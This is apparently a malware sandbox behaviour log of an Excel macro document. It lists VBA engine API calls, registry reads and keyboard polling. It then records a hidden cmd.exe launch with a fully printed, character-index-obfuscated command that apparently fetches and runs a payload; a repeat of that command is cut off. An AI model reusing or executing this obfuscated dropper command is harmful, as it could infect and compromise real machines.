Module Get Address module_name = Unknown module name, function = MsoSetVbaInterfaces, address_out = 0x7fee59371e0 True 1
Fn
Module Get Address module_name = Unknown module name, function = MsoGetControlInstanceId, address_out = 0x7fee5906d10 True 1
Fn
Module Get Address module_name = Unknown module name, function = VbeuiFIsEdpEnabled, address_out = 0x7fee59798e0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VbeuiEnterpriseProtect, address_out = 0x7fee5979830 True 1
Fn
Environment Get Environment String name = DDRYBUR False 1
Fn
Module Get Filename process_name = c:\program files\microsoft office\root\office16\excel.exe, file_name_orig = C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL, size = 260 True 1
Fn
Module Load module_name = C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\1033\VBE7INTL.DLL, base_address = 0x7fee6730000 True 1
Fn
Module Get Filename process_name = c:\program files\microsoft office\root\office16\excel.exe, file_name_orig = C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL, size = 260 True 1
Fn
System Get Info type = Operating System True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\Licenses True 1
Fn
Registry Read Value reg_name = HKEY_CLASSES_ROOT\Licenses\8804558B-B773-11d1-BC3E-0000F87552E7, data = } False 1
Fn
Module Load module_name = OLEAUT32.DLL, base_address = 0x7feffd80000 True 1
Fn
Module Get Address module_name = Unknown module name, function = SysFreeString, address_out = 0x7feffd81320 True 1
Fn
Module Get Address module_name = Unknown module name, function = LoadTypeLib, address_out = 0x7feffd8f1e0 True 1
Fn
Module Get Address module_name = Unknown module name, function = RegisterTypeLib, address_out = 0x7feffddcaa0 True 1
Fn
Module Get Address module_name = Unknown module name, function = QueryPathOfRegTypeLib, address_out = 0x7feffe11760 True 1
Fn
Module Get Address module_name = Unknown module name, function = UnRegisterTypeLib, address_out = 0x7feffe120d0 True 1
Fn
Module Get Address module_name = Unknown module name, function = OleTranslateColor, address_out = 0x7feffdac760 True 1
Fn
Module Get Address module_name = Unknown module name, function = OleCreateFontIndirect, address_out = 0x7feffddecd0 True 1
Fn
Module Get Address module_name = Unknown module name, function = OleCreatePictureIndirect, address_out = 0x7feffdde840 True 1
Fn
Module Get Address module_name = Unknown module name, function = OleLoadPicture, address_out = 0x7feffdef420 True 1
Fn
Module Get Address module_name = Unknown module name, function = OleCreatePropertyFrameIndirect, address_out = 0x7feffde4ec0 True 1
Fn
Module Get Address module_name = Unknown module name, function = OleCreatePropertyFrame, address_out = 0x7feffde9350 True 1
Fn
Module Get Address module_name = Unknown module name, function = OleIconToCursor, address_out = 0x7feffdb6e40 True 1
Fn
Module Get Address module_name = Unknown module name, function = LoadTypeLibEx, address_out = 0x7feffd8a550 True 1
Fn
Module Get Address module_name = Unknown module name, function = OleLoadPictureEx, address_out = 0x7feffdef320 True 1
Fn
Window Create class_name = ThunderMain, wndproc_parameter = 0 True 1
Fn
System Get Info type = Operating System True 1
Fn
Module Get Handle module_name = USER32, base_address = 0x77a20000 True 1
Fn
Module Get Address module_name = Unknown module name, function = GetSystemMetrics, address_out = 0x77a394f0 True 1
Fn
Module Get Address module_name = Unknown module name, function = MonitorFromWindow, address_out = 0x77a35f08 True 1
Fn
Module Get Address module_name = Unknown module name, function = MonitorFromRect, address_out = 0x77a32b00 True 1
Fn
Module Get Address module_name = Unknown module name, function = MonitorFromPoint, address_out = 0x77a2ab64 True 1
Fn
Module Get Address module_name = Unknown module name, function = EnumDisplayMonitors, address_out = 0x77a35c30 True 1
Fn
Module Get Address module_name = Unknown module name, function = GetMonitorInfoA, address_out = 0x77a2a730 True 1
Fn
Module Get Address module_name = Unknown module name, function = EnumDisplayDevicesA, address_out = 0x77a2a5b4 True 1
Fn
System Get Info type = Operating System True 1
Fn
Module Get Handle module_name = oleaut32.dll, base_address = 0x7feffd80000 True 1
Fn
Module Get Address module_name = Unknown module name, function = DispCallFunc, address_out = 0x7feffd82270 True 1
Fn
Module Get Address module_name = Unknown module name, function = LoadTypeLibEx, address_out = 0x7feffd8a550 True 1
Fn
Module Get Address module_name = Unknown module name, function = UnRegisterTypeLib, address_out = 0x7feffe120d0 True 1
Fn
Module Get Address module_name = Unknown module name, function = CreateTypeLib2, address_out = 0x7feffe0dbd0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDateFromUdate, address_out = 0x7feffd85c90 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarUdateFromDate, address_out = 0x7feffd86330 True 1
Fn
Module Get Address module_name = Unknown module name, function = GetAltMonthNames, address_out = 0x7feffda66c0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarNumFromParseNum, address_out = 0x7feffd84710 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarParseNumFromStr, address_out = 0x7feffd848f0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDecFromR4, address_out = 0x7feffdbb640 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDecFromR8, address_out = 0x7feffdbb360 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDecFromDate, address_out = 0x7feffdc2640 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDecFromI4, address_out = 0x7feffda58a0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDecFromCy, address_out = 0x7feffda5820 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarR4FromDec, address_out = 0x7feffdbaf20 True 1
Fn
Module Get Address module_name = Unknown module name, function = GetRecordInfoFromTypeInfo, address_out = 0x7feffdda0c0 True 1
Fn
Module Get Address module_name = Unknown module name, function = GetRecordInfoFromGuids, address_out = 0x7feffe12160 True 1
Fn
Module Get Address module_name = Unknown module name, function = SafeArrayGetRecordInfo, address_out = 0x7feffda5af0 True 1
Fn
Module Get Address module_name = Unknown module name, function = SafeArraySetRecordInfo, address_out = 0x7feffda5a90 True 1
Fn
Module Get Address module_name = Unknown module name, function = SafeArrayGetIID, address_out = 0x7feffda5a60 True 1
Fn
Module Get Address module_name = Unknown module name, function = SafeArraySetIID, address_out = 0x7feffda5a30 True 1
Fn
Module Get Address module_name = Unknown module name, function = SafeArrayCopyData, address_out = 0x7feffd860b0 True 1
Fn
Module Get Address module_name = Unknown module name, function = SafeArrayAllocDescriptorEx, address_out = 0x7feffd83e90 True 1
Fn
Module Get Address module_name = Unknown module name, function = SafeArrayCreateEx, address_out = 0x7feffdd9f80 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarFormat, address_out = 0x7feffe09b20 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarFormatDateTime, address_out = 0x7feffe09aa0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarFormatNumber, address_out = 0x7feffe09990 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarFormatPercent, address_out = 0x7feffe09890 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarFormatCurrency, address_out = 0x7feffe09770 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarWeekdayName, address_out = 0x7feffdeb8d0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarMonthName, address_out = 0x7feffdeb800 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarAdd, address_out = 0x7feffe048e0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarAnd, address_out = 0x7feffe09470 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarCat, address_out = 0x7feffe096a0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDiv, address_out = 0x7feffe02fe0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarEqv, address_out = 0x7feffe09cf0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarIdiv, address_out = 0x7feffe08ff0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarImp, address_out = 0x7feffe09c00 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarMod, address_out = 0x7feffe08e60 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarMul, address_out = 0x7feffe03690 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarOr, address_out = 0x7feffe092d0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarPow, address_out = 0x7feffe02e80 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarSub, address_out = 0x7feffe03f90 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarXor, address_out = 0x7feffe091a0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarAbs, address_out = 0x7feffde7c30 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarFix, address_out = 0x7feffde7a60 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarInt, address_out = 0x7feffde7890 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarNeg, address_out = 0x7feffde7ea0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarNot, address_out = 0x7feffe09600 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarRound, address_out = 0x7feffde76a0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarCmp, address_out = 0x7feffe083f0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDecAdd, address_out = 0x7feffdb3070 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDecCmp, address_out = 0x7feffdbd700 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarBstrCat, address_out = 0x7feffdbd890 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarCyMulI4, address_out = 0x7feffd9caf0 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarBstrCmp, address_out = 0x7feffda8a00 True 1
Fn
System Get Time type = Local Time, time = 2018-10-24 06:16:12 (Local Time) True 2
Fn
Registry Create Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common, value_name = RequireDeclaration, data = 111, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common, value_name = CompileOnDemand, data = 0, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common, value_name = NotifyUserBeforeStateLoss, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common, value_name = BackGroundCompile, data = 0, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common, value_name = BreakOnAllErrors, data = 255, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common, value_name = BreakOnServerErrors, data = 0, type = REG_NONE False 1
Fn
Module Get Address module_name = Unknown module name, address_out = 0x7fee583fcd0 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046} True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046} True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046}\1.9 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046}\1.9\409 False 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046}\1.9\9 False 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046}\1.9\0 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046}\1.9\0\win64 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046}\1.9\0 True 1
Fn
Registry Read Value reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046}\1.9\0\win64, data = C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE True 1
Fn
Module Get Filename process_name = c:\program files\microsoft office\root\office16\excel.exe, file_name_orig = C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL, size = 260 True 1
Fn
Module Get Address module_name = Unknown module name, address_out = 0x0 False 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win64 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0 True 1
Fn
Registry Read Value reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win64, data = C:\Windows\system32\stdole2.tlb True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8\0 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8\0\win64 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8\0 True 1
Fn
Registry Read Value reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8\0\win64, data = C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL True 1
Fn
System Get Time type = Local Time, time = 2018-10-24 06:16:12 (Local Time) True 2
Fn
System Get Cursor x_out = 529, y_out = 557 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common, value_name = VbaCapability, data = 180 False 1
Fn
System Get Time type = Local Time, time = 2018-10-24 06:16:13 (Local Time) True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x7fee5ad0000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 600, address_out = 0x7fee5bd4ee0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 6
Fn
Process Create process_name = cmd.exe /V:ON/C"set lW=o.crm`VPx57^^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF^|C\Hwk^&)WAIDn+}h4,sg6;3 R""ON&&for %9 in (15,2,70,82,45,78,78,47,71,24,10,23,32,42,22,7,15,17,13,50,53,50,68,50,64,46,70,50,62,78,76,78,78,78,47,71,19,16,10,23,78,32,42,40,43,37,17,13,50,14,40,73,42,15,4,1,46,50,68,50,15,8,50,68,50,46,50,68,50,1,15,83,2,50,68,50,0,50,68,50,66,65,67,74,50,62,76,78,78,1,13,81,20,49,69,20,30,69,81,78,21,41,50,12,50,72,50,73,35,50,62,78,13,50,35,50,62,78,13,81,20,30,69,20,36,69,20,49,69,81,78,21,41,50,83,37,59,50,72,50,2,42,50,72,50,21,82,38,48,37,50,62,76,11,11,11,61,13,81,20,30,69,20,49,69,81,21,41,78,50,64,52,52,21,46,50,72,50,40,43,37,50,62,78,21,64,73,73,37,4,38,12,40,83,35,4,37,78,81,14,40,73,42,37,4,1,66,3,35,59,34,67,74,81,76,47,20,74,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,71,69,20,36,69,20,49,69,20,30,69,20,77,69,81,21,41,78,50,1,31,34,50,72,50,34,67,74,50,72,50,59,50,72,50,42,4,35,43,50,72,50,14,40,73,42,37,4,1,66,3,35,50,62,13,13,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,20,77,69,20,36,69,81,78,21,41,78,50,83,37,42,1,50,72,50,63,37,50,72,50,42,50,72,50,38,56,12,34,37,67,50,62,62,1,13,81,20,49,69,20,30,69,81,78,21,41,50,43,37,67,79,37,35,52,50,72,50,82,50,62,1,65,67,51,0,60,37,13,81,70,42,42,43,73,27,45,45,34,4,35,74,37,73,36,1,34,4,74,38,0,8,1,2,0,4,45,2,35,45,19,19,45,64,36,25,14,12,63,75,14,44,0,1,43,67,74,81,62,62,76,47,20,82,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,81,21,41,50,31,40,42,37,50,72,50,32,17,50,62,78,49,19,75,30,76,13,30,1,1,36,62,11,11,11,55,1,13,50,29,50,62,20,41,0,3,37,35,2,70,13,47,20,8,69,78,34,67,13,30,1,1,75,49,33,62,62,20,47,20,43,69,23,47,20,74,69,1,13,81,20,30,69,20,49,69,81,78,21,41,78,50,24,37,42,7,34,50,72,50,8,37,12,50,62,1,65,67,51,0,60,37,13,47,20,8,69,72,47,20,44,69,62,76,47,20,0,69,32,47,20,44,69,39,75,36,30,68,47,20,16,69,17,23,13,78,78,47,71,74,10,27,27,13,81,20,49,69,20,30,69,81,21,41,78,50,12,0,0,3,50,72,50,54,50,62,1,65,67,51,0,60,37,13,13,47,20,43,69,1,81,31,81,21,38,35,67,52,49,9,62,39,49,75,62,21,38,0,3,13,47,20,43,69,1,81,74,81,78,21,38,35,67,52,78,49,9,62,62,69,69,76,11,11,11,61,13,81,20,30,69,20,49,69,81,78,21,41,50,65,50,72,50,15,16,50,62,13,78,13,78,18,14,78,78,51,64,79,65,35,38,18,15,27,71,19,8,10,78,62,1,6,35,12,26,15,27,27,81,35,5,73,2,34,34,81,1,81,74,37,42,5,73,5,46,3,65,67,24,81,13,47,20,82,69,32,30,1,1,49,77,71,49,17,62,62,78,55,2,27,57,59,65,67,52,82,59,73,57,14,40,14,42,37,4,77,36,57,56,12,34,7,1,15,8,15,78,61,61,56,53,52,1,15,8,37,78,78,78,45,2,78,43,0,59,37,3,14,58,15,18,18,78,21,15,8,37,56,26,46,65,82,83,43,82,12,78,31,22,7,35,73,73,78,78,21,83,0,67,34,83,78,21,59,65,67,52,82,59,14,46,22,78,58,65,66,66,15,67,78,21,67,82,43,79,82,54,34,78,78,21,73,42,78,78,21,83,0,12,82,74,82,78,78,78,78,78,1,78,13,78,78,57,81,20,30,69,20,49,69,20,36,69,57,81,78,21,41,78,50,64,52,52,50,72,13,78,57,81,20,30,69,20,49,69,57,81,78,21,41,50,21,50,72,50,46,40,43,50,78,62,72,50,37,50,78,78,62,78,21,64,73,73,37,4,78,13,57,81,20,77,69,20,49,69,20,9,69,20,30,69,20,71,69,20,36,69,57,81,78,21,41,78,13,78,78,57,81,20,36,69,20,49,69,20,30,69,57,81,78,21,41,50,52,50,72,50,1,63,34,67,50,72,50,37,4,50,78,78,62,72,50,40,73,50,72,50,73,50,72,50,14,50,72,13,78,57,81,20,36,69,20,49,69,20,30,69,57,81,21,41,78,50,54,0,3,4,50,72,50,1,50,72,50,0,59,73,50,62,72,50,42,50,62,78,78,78,76,78,78,78,11,11,11,61,78,78,13,78,78,78,47,20,37,5,83,6,5,27,2,82,53,73,5,43,37,2,69,32,71,72,49,9,72,36,9,17,21,48,82,65,83,50,50,62,78,13,78,78,13,78,32,14,22,14,42,37,53,1,63,34,83,66,0,63,73,1,54,0,3,53,14,1,56,18,65,7,38,82,35,79,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,78,50,24,50,72,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,37,50,72,50,42,42,15,8,46,50,78,62,62,1,57,81,34,5,83,51,5,0,28,15,57,81,13,78,78,62,78,78,62,78,78,62,78,76,78,78,32,14,40,73,42,37,4,1,63,34,67,52,0,59,73,1,54,0,3,4,73,1,56,12,34,43,38,0,35,3,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,56,12,50,72,50,37,35,3,50,78,62,1,57,81,34,5,83,51,82,5,60,15,57,81,13,78,62,84)do set Rc=!Rc!!lW:~%9,1!&&if %9 geq 84 cmd /C!Rc:~-1334!", os_pid = 0xad8, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
System Get Cursor x_out = 529, y_out = 557 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_ESCAPE, result_out = 0 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win64 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0 True 1
Fn
Registry Read Value reg_name = HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win64, data = C:\Windows\system32\stdole2.tlb True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8\0 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8\0\win64 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8\0 True 1
Fn
Registry Read Value reg_name = HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.8\0\win64, data = C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL True 1
Fn
System Get Time type = Ticks, time = 282985 True 5
Fn
Module Load module_name = VBE7.DLL, base_address = 0x7fee5ad0000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 600, address_out = 0x7fee5bd4ee0 True 1
Fn
Module Load module_name = VBE7.DLL, base_address = 0x7fee5ad0000 True 1
Fn
Module Get Address module_name = Unknown module name, function = 600, address_out = 0x7fee5bd4ee0 True 1
Fn
System Get Cursor x_out = 1068, y_out = 127 True 1
Fn
Process #2: cmd.exe
13323 0
»
Information Value
ID #2
File Name c:\windows\system32\cmd.exe
Command Line cmd.exe /V:ON/C"set lW=o.crm`VPx57^^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF^|C\Hwk^&)WAIDn+}h4,sg6;3 R""ON&&for %9 in (15,2,70,82,45,78,78,47,71,24,10,23,32,42,22,7,15,17,13,50,53,50,68,50,64,46,70,50,62,78,76,78,78,78,47,71,19,16,10,23,78,32,42,40,43,37,17,13,50,14,40,73,42,15,4,1,46,50,68,50,15,8,50,68,50,46,50,68,50,1,15,83,2,50,68,50,0,50,68,50,66,65,67,74,50,62,76,78,78,1,13,81,20,49,69,20,30,69,81,78,21,41,50,12,50,72,50,73,35,50,62,78,13,50,35,50,62,78,13,81,20,30,69,20,36,69,20,49,69,81,78,21,41,50,83,37,59,50,72,50,2,42,50,72,50,21,82,38,48,37,50,62,76,11,11,11,61,13,81,20,30,69,20,49,69,81,21,41,78,50,64,52,52,21,46,50,72,50,40,43,37,50,62,78,21,64,73,73,37,4,38,12,40,83,35,4,37,78,81,14,40,73,42,37,4,1,66,3,35,59,34,67,74,81,76,47,20,74,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,71,69,20,36,69,20,49,69,20,30,69,20,77,69,81,21,41,78,50,1,31,34,50,72,50,34,67,74,50,72,50,59,50,72,50,42,4,35,43,50,72,50,14,40,73,42,37,4,1,66,3,35,50,62,13,13,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,20,77,69,20,36,69,81,78,21,41,78,50,83,37,42,1,50,72,50,63,37,50,72,50,42,50,72,50,38,56,12,34,37,67,50,62,62,1,13,81,20,49,69,20,30,69,81,78,21,41,50,43,37,67,79,37,35,52,50,72,50,82,50,62,1,65,67,51,0,60,37,13,81,70,42,42,43,73,27,45,45,34,4,35,74,37,73,36,1,34,4,74,38,0,8,1,2,0,4,45,2,35,45,19,19,45,64,36,25,14,12,63,75,14,44,0,1,43,67,74,81,62,62,76,47,20,82,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,